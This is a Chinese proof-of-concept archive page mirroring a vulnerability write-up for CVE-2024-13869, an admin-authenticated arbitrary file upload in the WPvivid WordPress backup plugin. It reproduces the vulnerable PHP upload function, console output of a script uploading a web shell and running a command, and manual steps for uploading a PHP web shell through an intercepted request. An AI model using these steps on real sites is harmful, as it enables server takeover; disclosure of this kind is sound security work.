POC详情: 61c146591a0a6d9e19fb189e993f66956f019bfb

来源
关联漏洞
标题: WPvivid <= 0.9.112 版本存在经过认证(管理员+)任意文件上传漏洞 (CVE-2024-13869)
描述:WordPress使用的Migration, Backup, Staging – WPvivid Backup & Migration插件在所有版本中(包括0.9.112及之前版本)存在任意文件上传漏洞,原因是'upload_files'函数中未对文件类型进行验证。这使得具有管理员级别及以上权限的认证攻击者能够在受影响站点的服务器上上传任意文件,从而可能导致远程代码执行。需注意:上传的文件仅在运行于NGINX Web服务器的WordPress实例中可访问,因为目标文件上传文件夹中存在的.htaccess文件阻止了在Apache服务器上的访问。
描述
Migration,Backup, Staging – WPvivid <= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file
介绍
# CVE-2024-13869
## Migration,Backup, Staging – WPvivid &lt;= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file

The [wpvivid-backuprestore](https://wordpress.org/plugins/wpvivid-backuprestore/) plugin does not sanitize the file types of the `wpvivid_upload_file` action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.


## TL;DR Exploits
* A POC [CVE-2024-13869.py](https://github.com/d0n601/CVE-2024-13869/blob/main/CVE-2024-9162.py) is provided to demonstrate an administrator uploading a web shell named `hack.php`.
  
```console
python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD   
Logging into: https://lab0.hacker/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 46962sec preferred_lft 46962sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86190sec preferred_lft 14190sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec7:fd25/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>
```


## Details  
It appears the `wpvivid_upload_file` action calls the `upload_files` function on line 293 of `/wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php`, which checks the nonce and user's permissions, but not the file type being uploaded to the server.

```php
    function upload_files()
    {
        check_ajax_referer( 'wpvivid_ajax', 'nonce' );
        $check=current_user_can('manage_options');
        $check=apply_filters('wpvivid_ajax_check_security',$check);
        if(!$check)
        {
            die();
        }

        try
        {
            $chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
            $chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;

            $fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];

            $backupdir=WPvivid_Setting::get_backupdir();
            $filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;

            $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");

            if ($out)
            {
                // Read binary input stream and append it to temp file
                $options['test_form'] =true;
                $options['action'] ='wpvivid_upload_files';
                $options['test_type'] = false;
                $options['ext'] = 'zip';
                $options['type'] = 'application/zip';

                add_filter('upload_dir', array($this, 'upload_dir'));

                $status = wp_handle_upload($_FILES['async-upload'],$options);

                remove_filter('upload_dir', array($this, 'upload_dir'));

                $in = @fopen($status['file'], "rb");

                if ($in)
                {
                    while ($buff = fread($in, 4096))
                        fwrite($out, $buff);
                }
                else
                {
                    echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
                    die();
                }

                @fclose($in);
                @fclose($out);

                @wp_delete_file($status['file']);
            }
            else
            {
                echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
                die();
            }

            if (!$chunks || $chunk == $chunks - 1)
            {
                // Strip the temp .part suffix off
                rename("{$filePath}.part", $filePath);
            }

            echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
        }
        catch (Exception $error)
        {
            $message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
            error_log($message);
            echo wp_json_encode(array('result'=>'failed','error'=>$message));
        }
        die();
    }
```


## Manual Reproduction
1. Login to the admin panel and navigate to the `WPvivid Backup` tab.
2. Under `Backup & Restore`, click the `Backup Now` button to create a new backup and download it so we can use the `.zip` file in the following steps.
3. Under the `Backup & Restore` section again, navigate to the `Upload` tab and select the `.zip` we've just created. 
![pre_upload](https://github.com/user-attachments/assets/55ddbb43-ba15-47b2-88ac-dd801208049e)
4. Start up Burp Suite or a similar tool and begin intercepting the traffic. 
5. Click `Upload` and intercept the `POST` request to `/wp-admin/admin-ajax.php` calling the `wpvivid_upload_files` action.
![intercept_call](https://github.com/user-attachments/assets/6fcb8edd-9d34-4b05-b1aa-0b83c8d4795c)
6. Modify the request to include an arbitrary file, in the example below we're uploading a php web shell. 
![modify](https://github.com/user-attachments/assets/7170a0b2-a9b6-4623-919d-3f105d9e2d45)
7. Send the request and recieve `{"result":"success"}`.
![sent_modified](https://github.com/user-attachments/assets/a49b17fb-2c62-41d9-88e9-63ad77a4e164)
8. Browse the web shell at `https://example.com/wp-content/wpvividbackups/webshell.php` and execute code.
![hitshell](https://github.com/user-attachments/assets/fe5907a6-239c-4367-ad70-73c420b06443)

文件快照

[4.0K] /data/pocs/61c146591a0a6d9e19fb189e993f66956f019bfb ├── [4.7K] CVE-2024-9162.py ├── [ 34K] LICENSE └── [6.7K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。